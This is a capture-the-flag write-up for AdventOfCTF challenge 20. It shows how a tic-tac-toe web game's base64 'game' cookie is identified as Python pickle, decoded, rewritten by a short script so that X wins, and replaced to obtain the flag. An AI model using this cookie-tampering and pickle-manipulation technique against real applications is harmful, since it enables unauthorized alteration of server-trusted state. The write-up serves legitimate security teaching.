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author = "Maik de Kruif"
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title = "Challenge 20 - AdventOfCTF"
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date = 2021-02-26T00:11:35+01:00
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description = "A writeup for challenge 20 of AdventOfCTF."
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cover = "img/adventofctf/c1f93b6ee2e1cd25ea02f9a78c364b12.png"
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tags = [
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"AdventOfCTF",
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"challenge",
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"ctf",
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"hacking",
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"writeup",
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"web",
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"python",
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"serialization",
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]
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categories = [
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"ctf",
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"writeups",
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"hacking",
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]
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+++
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- Points: 2000
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## Description
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To pass the time until Christmas the elves challenge Santa to a game of tic-tac-toe. Santa plays X, can you make him win?
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Visit <https://20.adventofctf.com> to start the challenge.
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## Recon
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When looking around on the page, we can see a tic tac toe board with two links in it. These links direct to `/play/y/x` and place an `O` on the board. After placing it, `O` wins.
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If we take a look at the source, we also find a bit of javascript:
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```js
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function send() {
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let emoji = $("#emoji")[0].value;
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if (emoji.length > 0) {
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$.post("/", { emoji: emoji }, function (data) {
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$("#msg")[0].innerHTML = "<b>" + data + "</b>";
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});
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}
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}
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```
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This code doesn't seem to be used though and I don't see what it would be used for so we'll ignore it for now.
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Lastly, we can check the cookies on the website. Here we can find the `game` cookie. It looks like it's some `base64` encoded data.
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```text
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game=gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKTlgEAAAAc2FuZXELiHUu
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```
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## Finding the vulnerability
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We will start by having a look at the `game` cookie. If we base64 decode it we do see some information about a board, but its not plain text.
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```bash
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echo -n "gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKTlgEAAAAc2FuZXELiHUu" | base64 -d
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```
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```text
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<EFBFBD>}q(Xboardq]q(]q(XOqhNe]q(hXXqhe]q(NhheeXturnhfinishedq <EFBFBD>Xwinnerq
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NXsaneq
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<EFBFBD>u.⏎
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```
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By the looks of it, it might be a serialized object but we don't know where it came from.
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To find out what the backend framework of the server is, we can look at the `Server` header in the http response. This is not always filled in with useful information, but this time it was.
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```text
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Server: Werkzeug/1.0.1 Python/3.7.10
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```
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Here we can see the website uses Python for the backend. This narrows the amount of possible serialization libraries down a lot. A common library used for this in Python is Pickle.
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To test whether the cookie is encoded pickle data, we can use the pickle's `loads` function to import the data from a string:
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```text
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>>> import pickle
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>>> import base64
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>>> pickle.loads(base64.b64decode("gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKTlgEAAAAc2FuZXELiHUu"))
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{'board': [['O', 'O', None], ['O', 'X', 'X'], [None, 'X', 'X']], 'turn': 'O', 'finished': False, 'winner': '', 'sane': True}
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```
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Yes! It's using pickle and we can now try to alter the board.
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## Exploit
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To alter the board, we can write a little Python script like the following. You can't just put three `X` in a row as the backend checks the game state. To get around this, we can just place a few `O` on the board.
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```py
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import base64
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import pickle
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board_b64 = "gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKTlgEAAAAc2FuZXELiHUu"
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data = pickle.loads(base64.b64decode(board_b64))
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data["board"] = [['X', 'X', 'X'], ['O', None, None], [None, None, 'O']]
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data["winner"] = 'X'
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data["turn"] = 'O'
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print(base64.b64encode(pickle.dumps(data)))
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```
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```text
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gASVVwAAAAAAAAB9lCiMBWJvYXJklF2UKF2UKIwBWJRoBGgEZV2UKIwBT5ROaAZlXZQoTk5OZWWMBHR1cm6UaAaMCGZpbmlzaGVklImMBndpbm5lcpRoBIwEc2FuZZSIdS4=
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```
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We can then replace the `game` cookie with this string and reload the page.
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## Solution
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We got the flag! It is `NOVI{p1ckle_r1ck}`.
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